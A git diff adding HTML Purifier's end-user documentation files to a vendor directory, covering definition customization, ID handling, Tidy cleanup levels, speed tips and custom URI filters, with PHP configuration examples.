    +$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    + +

    + The Enum#_blank,_self,_target,_top does all the magic. + The string is split into two parts, separated by a hash mark (#): +

    + +
      +
    1. The first part is the name of what we call an AttrDef
    2. +
    3. The second part is the parameter of the above-mentioned AttrDef
    4. +
    + +

    + If that sounds vague and generic, it's because it is! HTML Purifier defines + an assortment of different attribute types one can use, and each of these + has their own specialized parameter format. Here are some of the more useful + ones: +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    TypeFormatDescription
    Enum[s:]value1,value2,... + Attribute with a number of valid values, one of which may be used. When + s: is present, the enumeration is case sensitive. +
    Boolattribute_name + Boolean attribute, with only one valid value: the name + of the attribute. +
    CDATA + Attribute of arbitrary text. Can also be referred to as Text + (the specification makes a semantic distinction between the two). +
    ID + Attribute that specifies a unique ID +
    Pixels + Attribute that specifies an integer pixel length +
    Length + Attribute that specifies a pixel or percentage length +
    NMTOKENS + Attribute that specifies a number of name tokens, example: the + class attribute +
    URI + Attribute that specifies a URI, example: the href + attribute +
    Number + Attribute that specifies an positive integer number +
    + +

    + For a complete list, consult + library/HTMLPurifier/AttrTypes.php; + more information on attributes that accept parameters can be found on their + respective includes in + library/HTMLPurifier/AttrDef. +

    + +

    + Sometimes, the restrictive list in AttrTypes just doesn't cut it. Don't + sweat: you can also use a fully instantiated object as the value. The + equivalent, verbose form of the above example is: +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    +$config->set('HTML.DefinitionRev', 1);
    +$config->set('Cache.DefinitionImpl', null); // remove this later!
    +$def = $config->getHTMLDefinition(true);
    +$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    +  array('_blank','_self','_target','_top')
    +));
    + +

    + Trust me, you'll learn to love the shorthand. +

    + +

    Add an element

    + +

    + Adding attributes is really small-fry stuff, though, and it was possible + to add them (albeit a bit more wordy) prior to 2.0. The real gem of + the Advanced API is adding elements. There are five questions to + ask when adding a new element: +

    + +
      +
    1. What is the element's name?
    2. +
    3. What content set does this element belong to?
    4. +
    5. What are the allowed children of this element?
    6. +
    7. What attributes does the element allow that are general?
    8. +
    9. What attributes does the element allow that are specific to this element?
    10. +
    + +

    + It's a mouthful, and you'll be slightly lost if your not familiar with + the HTML specification, so let's explain them step by step. +

    + +

    Content set

    + +

    + The HTML specification defines two major content sets: Inline + and Block. Each of these + content sets contain a list of elements: Inline contains things like + span and b while Block contains things like + div and blockquote. +

    + +

    + These content sets amount to a macro mechanism for HTML definition. Most + elements in HTML are organized into one of these two sets, and most + elements in HTML allow elements from one of these sets. If we had + to write each element verbatim into each other element's allowed + children, we would have ridiculously large lists; instead we use + content sets to compactify the declaration. +

    + +

    + Practically speaking, there are several useful values you can use here: +

    + + + + + + + + + + + + + + + + + + + + + + +
    Content setDescription
    InlineCharacter level elements, text
    BlockBlock-like elements, like paragraphs and lists
    false + Any element that doesn't fit into the mold, for example li + or tr +
    + +

    + By specifying a valid value here, all other elements that use that + content set will also allow your element, without you having to do + anything. If you specify false, you'll have to register + your element manually. +

    + +

    Allowed children

    + +

    + Allowed children defines the elements that this element can contain. + The allowed values may range from none to a complex regexp depending on + your element. +

    + +

    + If you've ever taken a look at the HTML DTD's before, you may have + noticed declarations like this: +

    + +
    <!ELEMENT LI - O (%flow;)*             -- list item -->
    + +

    + The (%flow;)* indicates the allowed children of the + li tag: li allows any number of flow + elements as its children. (The - O allows the closing tag to be + omitted, though in XML this is not allowed.) In HTML Purifier, + we'd write it like Flow (here's where the content sets + we were discussing earlier come into play). There are three shorthand + content models you can specify: +

    + + + + + + + + + + + + + + + + + + + + + + +
    Content modelDescription
    EmptyNo children allowed, like br or hr
    InlineAny number of inline elements and text, like span
    FlowAny number of inline elements, block elements and text, like div
    + +

    + This covers 90% of all the cases out there, but what about elements that + break the mold like ul? This guy requires at least one + child, and the only valid children for it are li. The + content model is: Required: li. There are two parts: the + first type determines what ChildDef will be used to validate + content models. The most common values are: +

    + + + + + + + + + + + + + + + + + + + + + + +
    TypeDescription
    RequiredChildren must be one or more of the valid elements
    OptionalChildren can be any number of the valid elements
    CustomChildren must follow the DTD-style regex
    + +

    + You can also implement your own ChildDef: this was done + for a few special cases in HTML Purifier such as Chameleon + (for ins and del), StrictBlockquote + and Table. +

    + +

    + The second part specifies either valid elements or a regular expression. + Valid elements are separated with horizontal bars (|), i.e. + "a | b | c". Use #PCDATA to represent plain text. + Regular expressions are based off of DTD's style: +

    + +
      +
    • Parentheses () are used for grouping
    • +
    • Commas (,) separate elements that should come one after another
    • +
    • Horizontal bars (|) indicate one or the other elements should be used
    • +
    • Plus signs (+) are used for a one or more match
    • +
    • Asterisks (*) are used for a zero or more match
    • +
    • Question marks (?) are used for a zero or one match
    • +
    + +

    + For example, "a, b?, (c | d), e+, f*" means "In this order, + one a element, at most one b element, + one c or d element (but not both), one or more + e elements, and any number of f elements." + Regex veterans should be able to jump right in, and those not so savvy + can always copy-paste W3C's content model definitions into HTML Purifier + and hope for the best. +

    + +

    + A word of warning: while the regex format is extremely flexible on + the developer's side, it is + quite unforgiving on the user's side. If the user input does not exactly + match the specification, the entire contents of the element will + be nuked. This is why there is are specific content model types like + Optional and Required: while they could be implemented as Custom: + (valid | elements)*, the custom classes contain special recovery + measures that make sure as much of the user's original content gets + through. HTML Purifier's core, as a rule, does not use Custom. +

    + +

    + One final note: you can also use Content Sets inside your valid elements + lists or regular expressions. In fact, the three shorthand content models + mentioned above are just that: abbreviations: +

    + + + + + + + + + + + + + + + + + + +
    Content modelImplementation
    InlineOptional: Inline | #PCDATA
    FlowOptional: Flow | #PCDATA
    + +

    + When the definition is compiled, Inline will be replaced with a + horizontal-bar separated list of inline elements. Also, notice that + it does not contain text: you have to specify that yourself. +

    + +

    Common attributes

    + +

    + Congratulations: you have just gotten over the proverbial hump (Allowed + children). Common attributes is much simpler, and boils down to + one question: does your element have the id, style, + class, title and lang attributes? + If so, you'll want to specify the Common attribute collection, + which contains these five attributes that are found on almost every + HTML element in the specification. +

    + +

    + There are a few more collections, but they're really edge cases: +

    + + + + + + + + + + + + + + + + + + +
    CollectionAttributes
    I18Nlang, possibly xml:lang
    Corestyle, class, id and title
    + +

    + Common is a combination of the above-mentioned collections. +

    + +

    + Readers familiar with the modularization may have noticed that the Core + attribute collection differs from that specified by the abstract + modules of the XHTML Modularization 1.1. We believe this section + to be in error, as br permits the use of the style + attribute even though it uses the Core collection, and + the DTD and XML Schemas supplied by W3C support our interpretation. +

    + +

    Attributes

    + +

    + If you didn't read the earlier section on + adding attributes, read it now. The last parameter is simply + an array of attribute names to attribute implementations, in the exact + same format as addAttribute(). +

    + +

    Putting it all together

    + +

    + We're going to implement form. Before we embark, lets + grab a reference implementation from over at the + transitional DTD: +

    + +
    <!ELEMENT FORM - - (%flow;)* -(FORM)   -- interactive form -->
    +<!ATTLIST FORM
    +  %attrs;                              -- %coreattrs, %i18n, %events --
    +  action      %URI;          #REQUIRED -- server-side form handler --
    +  method      (GET|POST)     GET       -- HTTP method used to submit the form--
    +  enctype     %ContentType;  "application/x-www-form-urlencoded"
    +  accept      %ContentTypes; #IMPLIED  -- list of MIME types for file upload --
    +  name        CDATA          #IMPLIED  -- name of form for scripting --
    +  onsubmit    %Script;       #IMPLIED  -- the form was submitted --
    +  onreset     %Script;       #IMPLIED  -- the form was reset --
    +  target      %FrameTarget;  #IMPLIED  -- render in this frame --
    +  accept-charset %Charsets;  #IMPLIED  -- list of supported charsets --
    +  >
    + +

    + Juicy! With just this, we can answer four of our five questions: +

    + +
      +
    1. What is the element's name? form
    2. +
    3. What content set does this element belong to? Block + (this needs a little sleuthing, I find the easiest way is to search + the DTD for FORM and determine which set it is in.)
    4. +
    5. What are the allowed children of this element? One + or more flow elements, but no nested forms
    6. +
    7. What attributes does the element allow that are general? Common
    8. +
    9. What attributes does the element allow that are specific to this element? A whole bunch, see ATTLIST; + we're going to do the vital ones: action, method and name
    10. +
    + +

    + Time for some code: +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    +$config->set('HTML.DefinitionRev', 1);
    +$config->set('Cache.DefinitionImpl', null); // remove this later!
    +$def = $config->getHTMLDefinition(true);
    +$def->addAttribute('a', 'target', new HTMLPurifier_AttrDef_Enum(
    +  array('_blank','_self','_target','_top')
    +));
    +$form = $def->addElement(
    +  'form',   // name
    +  'Block',  // content set
    +  'Flow', // allowed children
    +  'Common', // attribute collection
    +  array( // attributes
    +    'action*' => 'URI',
    +    'method' => 'Enum#get|post',
    +    'name' => 'ID'
    +  )
    +);
    +$form->excludes = array('form' => true);
    + +

    + Each of the parameters corresponds to one of the questions we asked. + Notice that we added an asterisk to the end of the action + attribute to indicate that it is required. If someone specifies a + form without that attribute, the tag will be axed. + Also, the extra line at the end is a special extra declaration that + prevents forms from being nested within each other. +

    + +

    + And that's all there is to it! Implementing the rest of the form + module is left as an exercise to the user; to see more examples + check the library/HTMLPurifier/HTMLModule/ directory + in your local HTML Purifier installation. +

    + +

    And beyond...

    + +

    + Perceptive users may have realized that, to a certain extent, we + have simply re-implemented the facilities of XML Schema or the + Document Type Definition. What you are seeing here, however, is + not just an XML Schema or Document Type Definition: it is a fully + expressive method of specifying the definition of HTML that is + a portable superset of the capabilities of the two above-mentioned schema + languages. What makes HTMLDefinition so powerful is the fact that + if we don't have an implementation for a content model or an attribute + definition, you can supply it yourself by writing a PHP class. +

    + +

    + There are many facets of HTMLDefinition beyond the Advanced API I have + walked you through today. To find out more about these, you can + check out these source files: +

    + + + +

    Notes for HTML Purifier 4.2.0 and earlier

    + +

    + Previously, this tutorial gave some incorrect template code for + editing raw definitions, and that template code will now produce the + error Due to a documentation error in previous version of HTML + Purifier... Here is how to mechanically transform old-style + code into new-style code. +

    + +

    + First, identify all code that edits the raw definition object, and + put it together. Ensure none of this code must be run on every + request; if some sub-part needs to always be run, move it outside + this block. Here is an example below, with the raw definition + object code bolded. +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    +$config->set('HTML.DefinitionRev', 1);
    +$def = $config->getHTMLDefinition(true);
    +$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    +$purifier = new HTMLPurifier($config);
    + +

    + Next, replace the raw definition retrieval with a + maybeGetRawHTMLDefinition method call inside an if conditional, and + place the editing code inside that if block. +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$config->set('HTML.DefinitionID', 'enduser-customize.html tutorial');
    +$config->set('HTML.DefinitionRev', 1);
    +if ($def = $config->maybeGetRawHTMLDefinition()) {
    +    $def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    +}
    +$purifier = new HTMLPurifier($config);
    + +

    + And you're done! Alternatively, if you're OK with not ever caching + your code, the following will still work and not emit warnings. +

    + +
    $config = HTMLPurifier_Config::createDefault();
    +$def = $config->getHTMLDefinition(true);
    +$def->addAttribute('a', 'target', 'Enum#_blank,_self,_target,_top');
    +$purifier = new HTMLPurifier($config);
    + +

    + A slightly less efficient version of this was what was going on with + old versions of HTML Purifier. +

    + +

    + Technical notes: ajh pointed out on in a forum topic that + HTML Purifier appeared to be repeatedly writing to the cache even + when a cache entry already existed. Investigation lead to the + discovery of the following infelicity: caching of customized + definitions didn't actually work! The problem was that even though + a cache file would be written out at the end of the process, there + was no way for HTML Purifier to say, Actually, I've already got a + copy of your work, no need to reconfigure your + customizations. This required the API to change: placing + all of the customizations to the raw definition object in a + conditional which could be skipped. +

    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-id.html b/vendor/ezyang/htmlpurifier/docs/enduser-id.html new file mode 100644 index 00000000..53d2da24 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-id.html @@ -0,0 +1,148 @@ + + + + + + + +IDs - HTML Purifier + + + +

    IDs

    +
    What they are, why you should(n't) wear them, and how to deal with it
    + +
    Filed under End-User
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    Prior to HTML Purifier 1.2.0, this library blithely accepted user input that +looked like this:

    + +
    <a id="fragment">Anchor</a>
    + +

    ...presenting an attractive vector for those that would destroy standards +compliance: simply set the ID to one that is already used elsewhere in the +document and voila: validation breaks. There was a half-hearted attempt to +prevent this by allowing users to blacklist IDs, but I suspect that no one +really bothered, and thus, with the release of 1.2.0, IDs are now removed +by default.

    + +

    IDs, however, are quite useful functionality to have, so if users start +complaining about broken anchors you'll probably want to turn them back on +with %Attr.EnableID. But before you go mucking around with the config +object, it's probably worth to take some precautions to keep your page +validating. Why?

    + +
      +
    1. Standards-compliant pages are good
    2. +
    3. Duplicated IDs interfere with anchors. If there are two id="foobar"s in a + document, which spot does a browser presented with the fragment #foobar go + to? Most browsers opt for the first appearing ID, making it impossible + to references the second section. Similarly, duplicated IDs can hijack + client-side scripting that relies on the IDs of elements.
    4. +
    + +

    You have (currently) four ways of dealing with the problem.

    + + + +

    Blacklisting IDs

    +
    Good for pages with single content source and stable templates
    + +

    Keeping in terms with the +KISS principle, let us +deal with the most obvious solution: preventing users from using any IDs that +appear elsewhere on the document. The method is simple:

    + +
    $config->set('Attr.EnableID', true);
    +$config->set('Attr.IDBlacklist' array(
    +    'list', 'of', 'attribute', 'values', 'that', 'are', 'forbidden'
    +));
    + +

    That being said, there are some notable drawbacks. First of all, you have to +know precisely which IDs are being used by the HTML surrounding the user code. +This is easier said than done: quite often the page designer and the system +coder work separately, so the designer has to constantly be talking with the +coder whenever he decides to add a new anchor. Miss one and you open yourself +to possible standards-compliance issues.

    + +

    Furthermore, this position becomes untenable when a single web page must hold +multiple portions of user-submitted content. Since there's obviously no way +to find out before-hand what IDs users will use, the blacklist is helpless. +And since HTML Purifier validates each segment separately, perhaps doing +so at different times, it would be extremely difficult to dynamically update +the blacklist in between runs.

    + +

    Finally, simply destroying the ID is extremely un-userfriendly behavior: after +all, they might have simply specified a duplicate ID by accident.

    + +

    Thus, we get to our second method.

    + + + +

    Namespacing IDs

    +
    Lazy developer's way, but needs user education
    + +

    This method, too, is quite simple: add a prefix to all user IDs. With this +code:

    + +
    $config->set('Attr.EnableID', true);
    +$config->set('Attr.IDPrefix', 'user_');
    + +

    ...this:

    + +
    <a id="foobar">Anchor!</a>
    + +

    ...turns into:

    + +
    <a id="user_foobar">Anchor!</a>
    + +

    As long as you don't have any IDs that start with user_, collisions are +guaranteed not to happen. The drawback is obvious: if a user submits +id="foobar", they probably expect to be able to reference their page with +#foobar. You'll have to tell them, "No, that doesn't work, you have to add +user_ to the beginning."

    + +

    And yes, things get hairier. Even with a nice prefix, we still have done +nothing about multiple HTML Purifier outputs on one page. Thus, we have +a second configuration value to piggy-back off of: %Attr.IDPrefixLocal:

    + +
    $config->set('Attr.IDPrefixLocal', 'comment' . $id . '_');
    + +

    This new attributes does nothing but append on to regular IDPrefix, but is +special in that it is volatile: it's value is determined at run-time and +cannot possibly be cordoned into, say, a .ini config file. As for what to +put into the directive, is up to you, but I would recommend the ID number +the text has been assigned in the database. Whatever you pick, however, it +has to be unique and stable for the text you are validating. Note, however, +that we require that %Attr.IDPrefix be set before you use this directive.

    + +

    And also remember: the user has to know what this prefix is too!

    + + + +

    Abstinence

    + +

    You may not want to bother. That's okay too, just don't enable IDs.

    + +

    Personally, I would take this road whenever user-submitted content would be +possibly be shown together on one page. Why a blog comment would need to use +anchors is beyond me.

    + + + +

    Denial

    + +

    To revert back to pre-1.2.0 behavior, simply:

    + +
    $config->set('Attr.EnableID', true);
    + +

    Don't come crying to me when your page mysteriously stops validating, though.

    + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt b/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt new file mode 100644 index 00000000..fe7f8705 --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-overview.txt @@ -0,0 +1,59 @@ + +HTML Purifier + by Edward Z. Yang + +There are a number of ad hoc HTML filtering solutions out there on the web +(some examples including HTML_Safe, kses and SafeHtmlChecker.class.php) that +claim to filter HTML properly, preventing malicious JavaScript and layout +breaking HTML from getting through the parser. None of them, however, +demonstrates a thorough knowledge of neither the DTD that defines the HTML +nor the caveats of HTML that cannot be expressed by a DTD. Configurable +filters (such as kses or PHP's built-in striptags() function) have trouble +validating the contents of attributes and can be subject to security attacks +due to poor configuration. Other filters take the naive approach of +blacklisting known threats and tags, failing to account for the introduction +of new technologies, new tags, new attributes or quirky browser behavior. + +However, HTML Purifier takes a different approach, one that doesn't use +specification-ignorant regexes or narrow blacklists. HTML Purifier will +decompose the whole document into tokens, and rigorously process the tokens by: +removing non-whitelisted elements, transforming bad practice tags like +into , properly checking the nesting of tags and their children and +validating all attributes according to their RFCs. + +To my knowledge, there is nothing like this on the web yet. Not even MediaWiki, +which allows an amazingly diverse mix of HTML and wikitext in its documents, +gets all the nesting quirks right. Existing solutions hope that no JavaScript +will slip through, but either do not attempt to ensure that the resulting +output is valid XHTML or send the HTML through a draconic XML parser (and yet +still get the nesting wrong: SafeHtmlChecker.class.php does not prevent +tags from being nested within each other). + +This document no longer is a detailed description of how HTMLPurifier works, +as those descriptions have been moved to the appropriate code. The first +draft was drawn up after two rough code sketches and the implementation of a +forgiving lexer. You may also be interested in the unit tests located in the +tests/ folder, which provide a living document on how exactly the filter deals +with malformed input. + +In summary (see corresponding classes for more details): + +1. Parse document into an array of tag and text tokens (Lexer) +2. Remove all elements not on whitelist and transform certain other elements + into acceptable forms (i.e. ) +3. Make document well formed while helpfully taking into account certain quirks, + such as the fact that

    tags traditionally are closed by other block-level + elements. +4. Run through all nodes and check children for proper order (especially + important for tables). +5. Validate attributes according to more restrictive definitions based on the + RFCs. +6. Translate back into a string. (Generator) + +HTML Purifier is best suited for documents that require a rich array of +HTML tags. Things like blog comments are, in all likelihood, most appropriately +written in an extremely restrictive set of markup that doesn't require +all this functionality (or not written in HTML at all), although this may +be changing in the future with the addition of levels of filtering. + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-security.txt b/vendor/ezyang/htmlpurifier/docs/enduser-security.txt new file mode 100644 index 00000000..518f092b --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-security.txt @@ -0,0 +1,18 @@ + +Security + +Like anything that claims to afford security, HTML_Purifier can be circumvented +through negligence of people. This class will do its job: no more, no less, +and it's up to you to provide it the proper information and proper context +to be effective. Things to remember: + +1. Character Encoding: see enduser-utf8.html for more info. + +2. IDs: see enduser-id.html for more info + +3. URIs: see enduser-uri-filter.html + +4. CSS: document pending +Explain which CSS styles we blocked and why. + + vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-slow.html b/vendor/ezyang/htmlpurifier/docs/enduser-slow.html new file mode 100644 index 00000000..f0ea02de --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-slow.html @@ -0,0 +1,120 @@ + + + + + + + +Speeding up HTML Purifier - HTML Purifier + + + +

    Speeding up HTML Purifier

    +
    ...also known as the HELP ME LIBRARY IS TOO SLOW MY PAGE TAKE TOO LONG page
    + +
    Filed under End-User
    +
    +
    HTML Purifier End-User Documentation
    + +

    HTML Purifier is a very powerful library. But with power comes great +responsibility, in the form of longer execution times. Remember, this +library isn't lightly grazing over submitted HTML: it's deconstructing +the whole thing, rigorously checking the parts, and then putting it back +together.

    + +

    So, if it so turns out that HTML Purifier is kinda too slow for outbound +filtering, you've got a few options:

    + +

    Inbound filtering

    + +

    Perform filtering of HTML when it's submitted by the user. Since the +user is already submitting something, an extra half a second tacked on +to the load time probably isn't going to be that huge of a problem. +Then, displaying the content is a simple a manner of outputting it +directly from your database/filesystem. The trouble with this method is +that your user loses the original text, and when doing edits, will be +handling the filtered text. While this may be a good thing, especially +if you're using a WYSIWYG editor, it can also result in data-loss if a +user makes a typo.

    + +

    Example (non-functional):

    + +
    <?php
    +    /**
    +     * FORM SUBMISSION PAGE
    +     * display_error($message) : displays nice error page with message
    +     * display_success() : displays a nice success page
    +     * display_form() : displays the HTML submission form
    +     * database_insert($html) : inserts data into database as new row
    +     */
    +    if (!empty($_POST)) {
    +        require_once '/path/to/library/HTMLPurifier.auto.php';
    +        require_once 'HTMLPurifier.func.php';
    +        $dirty_html = isset($_POST['html']) ? $_POST['html'] : false;
    +        if (!$dirty_html) {
    +            display_error('You must write some HTML!');
    +        }
    +        $html = HTMLPurifier($dirty_html);
    +        database_insert($html);
    +        display_success();
    +        // notice that $dirty_html is *not* saved
    +    } else {
    +        display_form();
    +    }
    +?>
    + +

    Caching the filtered output

    + +

    Accept the submitted text and put it unaltered into the database, but +then also generate a filtered version and stash that in the database. +Serve the filtered version to readers, and the unaltered version to +editors. If need be, you can invalidate the cache and have the cached +filtered version be regenerated on the first page view. Pros? Full data +retention. Cons? It's more complicated, and opens other editors up to +XSS if they are using a WYSIWYG editor (to fix that, they'd have to be +able to get their hands on the *really* original text served in +plaintext mode).

    + +

    Example (non-functional):

    + +
    <?php
    +    /**
    +     * VIEW PAGE
    +     * display_error($message) : displays nice error page with message
    +     * cache_get($id) : retrieves HTML from fast cache (db or file)
    +     * cache_insert($id, $html) : inserts good HTML into cache system
    +     * database_get($id) : retrieves raw HTML from database
    +     */
    +    $id = isset($_GET['id']) ? (int) $_GET['id'] : false;
    +    if (!$id) {
    +        display_error('Must specify ID.');
    +        exit;
    +    }
    +    $html = cache_get($id); // filesystem or database
    +    if ($html === false) {
    +        // cache didn't have the HTML, generate it
    +        $raw_html = database_get($id);
    +        require_once '/path/to/library/HTMLPurifier.auto.php';
    +        require_once 'HTMLPurifier.func.php';
    +        $html = HTMLPurifier($raw_html);
    +        cache_insert($id, $html);
    +    }
    +    echo $html;
    +?>
    + +

    Summary

    + +

    In short, inbound filtering is the simple option and caching is the +robust option (albeit with bigger storage requirements).

    + +

    There is a third option, independent of the two we've discussed: profile +and optimize HTMLPurifier yourself. Be sure to report back your results +if you decide to do that! Especially if you port HTML Purifier to C++. +;-)

    + + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html b/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html new file mode 100644 index 00000000..a243f7fc --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-tidy.html @@ -0,0 +1,231 @@ + + + + + + + +Tidy - HTML Purifier + + + +

    Tidy

    + +
    Filed under Development
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    You've probably heard of HTML Tidy, Dave Raggett's little piece +of software that cleans up poorly written HTML. Let me say it straight +out:

    + +

    This ain't HTML Tidy!

    + +

    Rather, Tidy stands for a cool set of Tidy-inspired features in HTML Purifier +that allows users to submit deprecated elements and attributes and get +valid strict markup back. For example:

    + +
    <center>Centered</center>
    + +

    ...becomes:

    + +
    <div style="text-align:center;">Centered</div>
    + +

    ...when this particular fix is run on the HTML. This tutorial will give +you the lowdown of what exactly HTML Purifier will do when Tidy +is on, and how to fine-tune this behavior. Once again, you do +not need Tidy installed on your PHP to use these features!

    + +

    What does it do?

    + +

    Tidy will do several things to your HTML:

    + +
      +
    • Convert deprecated elements and attributes to standards-compliant + alternatives
    • +
    • Enforce XHTML compatibility guidelines and other best practices
    • +
    • Preserve data that would normally be removed as per W3C
    • +
    + +

    What are levels?

    + +

    Levels describe how aggressive the Tidy module should be when +cleaning up HTML. There are four levels to pick: none, light, medium +and heavy. Each of these levels has a well-defined set of behavior +associated with it, although it may change depending on your doctype.

    + +
    +
    light
    +
    This is the lenient level. If a tag or attribute + is about to be removed because it isn't supported by the + doctype, Tidy will step in and change into an alternative that + is supported.
    +
    medium
    +
    This is the correctional level. At this level, + all the functions of light are performed, as well as some extra, + non-essential best practices enforcement. Changes made on this + level are very benign and are unlikely to cause problems.
    +
    heavy
    +
    This is the aggressive level. If a tag or + attribute is deprecated, it will be converted into a non-deprecated + version, no ifs ands or buts.
    +
    + +

    By default, Tidy operates on the medium level. You can +change the level of cleaning by setting the %HTML.TidyLevel configuration +directive:

    + +
    $config->set('HTML.TidyLevel', 'heavy'); // burn baby burn!
    + +

    Is the light level really light?

    + +

    It depends on what doctype you're using. If your documents are HTML +4.01 Transitional, HTML Purifier will be lazy +and won't clean up your center +or font tags. But if you're using HTML 4.01 Strict, +HTML Purifier has no choice: it has to convert them, or they will +be nuked out of existence. So while light on Transitional will result +in little to no changes, light on Strict will still result in quite +a lot of fixes.

    + +

    This is different behavior from 1.6 or before, where deprecated +tags in transitional documents would +always be cleaned up regardless. This is also better behavior.

    + +

    My pages look different!

    + +

    HTML Purifier is tasked with converting deprecated tags and +attributes to standards-compliant alternatives, which usually +need copious amounts of CSS. It's also not foolproof: sometimes +things do get lost in the translation. This is why when HTML Purifier +can get away with not doing cleaning, it won't; this is why +the default value is medium and not heavy.

    + +

    Fortunately, only a few attributes have problems with the switch +over. They are described below:

    + + + + + + + + + + + + + + + + + + + + + + + + +
    Element@AttrChanges
    caption@alignFirefox supports stuffing the caption on the + left and right side of the table, a feature that + Internet Explorer, understandably, does not have. + When align equals right or left, the text will simply + be aligned on the left or right side.
    img@alignThe implementation for align bottom is good, but not + perfect. There are a few pixel differences.
    br@clearClear both gets a little wonky in Internet Explorer. Haven't + really been able to figure out why.
    hr@noshadeAll browsers implement this slightly differently: we've + chosen to make noshade horizontal rules gray.
    + +

    There are a few more minor, although irritating, bugs. +Some older browsers support deprecated attributes, +but not CSS. Transformed elements and attributes will look unstyled +to said browsers. Also, CSS precedence is slightly different for +inline styles versus presentational markup. In increasing precedence:

    + +
      +
    1. Presentational attributes
    2. +
    3. External style sheets
    4. +
    5. Inline styling
    6. +
    + +

    This means that styling that may have been masked by external CSS +declarations will start showing up (a good thing, perhaps). Finally, +if you've turned off the style attribute, almost all of +these transformations will not work. Sorry mates.

    + +

    You can review the rendering before and after of these transformations +by consulting the attrTransform.php +smoketest.

    + +

    I like the general idea, but the specifics bug me!

    + +

    So you want HTML Purifier to clean up your HTML, but you're not +so happy about the br@clear implementation. That's perfectly fine! +HTML Purifier will make accomodations:

    + +
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    +$config->set('HTML.TidyLevel', 'heavy'); // all changes, minus...
    +$config->set('HTML.TidyRemove', 'br@clear');
    + +

    That third line does the magic, removing the br@clear fix +from the module, ensuring that <br clear="both" /> +will pass through unharmed. The reverse is possible too:

    + +
    $config->set('HTML.Doctype', 'XHTML 1.0 Transitional');
    +$config->set('HTML.TidyLevel', 'none'); // no changes, plus...
    +$config->set('HTML.TidyAdd', 'p@align');
    + +

    In this case, all transformations are shut off, except for the p@align +one, which you found handy.

    + +

    To find out what the names of fixes you want to turn on or off are, +you'll have to consult the source code, specifically the files in +HTMLPurifier/HTMLModule/Tidy/. There is, however, a +general syntax:

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    NameExampleInterpretation
    elementfontTag transform for element
    element@attrbr@clearAttribute transform for attr on element
    @attr@langGlobal attribute transform for attr
    e#content_model_typeblockquote#content_model_typeChange of child processing implementation for e
    + +

    So... what's the lowdown?

    + +

    The lowdown is, quite frankly, HTML Purifier's default settings are +probably good enough. The next step is to bump the level up to heavy, +and if that still doesn't satisfy your appetite, do some fine-tuning. +Other than that, don't worry about it: this all works silently and +effectively in the background.

    + + + + diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html b/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html new file mode 100644 index 00000000..d1b3354a --- /dev/null +++ b/vendor/ezyang/htmlpurifier/docs/enduser-uri-filter.html @@ -0,0 +1,204 @@ + + + + + + + +URI Filters - HTML Purifier + + + +

    URI Filters

    + +
    Filed under End-User
    +
    Return to the index.
    +
    HTML Purifier End-User Documentation
    + +

    + This is a quick and dirty document to get you on your way to writing + custom URI filters for your own URL filtering needs. Why would you + want to write a URI filter? If you need URIs your users put into + HTML to magically change into a different URI, this is + exactly what you need! +

    + +

    Creating the class

    + +

    + Any URI filter you make will be a subclass of HTMLPurifier_URIFilter. + The scaffolding is thus: +

    + +
    class HTMLPurifier_URIFilter_NameOfFilter extends HTMLPurifier_URIFilter
    +{
    +    public $name = 'NameOfFilter';
    +    public function prepare($config) {}
    +    public function filter(&$uri, $config, $context) {}
    +}
    + +

    + Fill in the variable $name with the name of your filter, and + take a look at the two methods. prepare() is an initialization + method that is called only once, before any filtering has been done of the + HTML. Use it to perform any costly setup work that only needs to be done + once. filter() is the guts and innards of our filter: + it takes the URI and does whatever needs to be done to it. +

    + +

    + If you've worked with HTML Purifier, you'll recognize the $config + and $context parameters. On the other hand, $uri + is something unique to this section of the application: it's a + HTMLPurifier_URI object. The interface is thus: +

    + +
    class HTMLPurifier_URI
    +{
    +    public $scheme, $userinfo, $host, $port, $path, $query, $fragment;
    +    public function HTMLPurifier_URI($scheme, $userinfo, $host, $port, $path, $query, $fragment);
    +    public function toString();
    +    public function copy();
    +    public function getSchemeObj($config, $context);
    +    public function validate($config, $context);
    +}
    + +

    + The first three methods are fairly self-explanatory: you have a constructor, + a serializer, and a cloner. Generally, you won't be using them when + you are manipulating the URI objects themselves. + getSchemeObj() is a special purpose method that returns + a HTMLPurifier_URIScheme object corresponding to the specific + URI at hand. validate() performs general-purpose validation + on the internal components of a URI. Once again, you don't need to + worry about these: they've already been handled for you. +

    + +

    URI format

    + +

    + As a URIFilter, we're interested in the member variables of the URI object. +

    + + + + + + + + + +
    Scheme The protocol for identifying (and possibly locating) a resource (http, ftp, https)
    Userinfo User information such as a username (bob)
    Host Domain name or IP address of the server (example.com, 127.0.0.1)
    Port Network port number for the server (80, 12345)
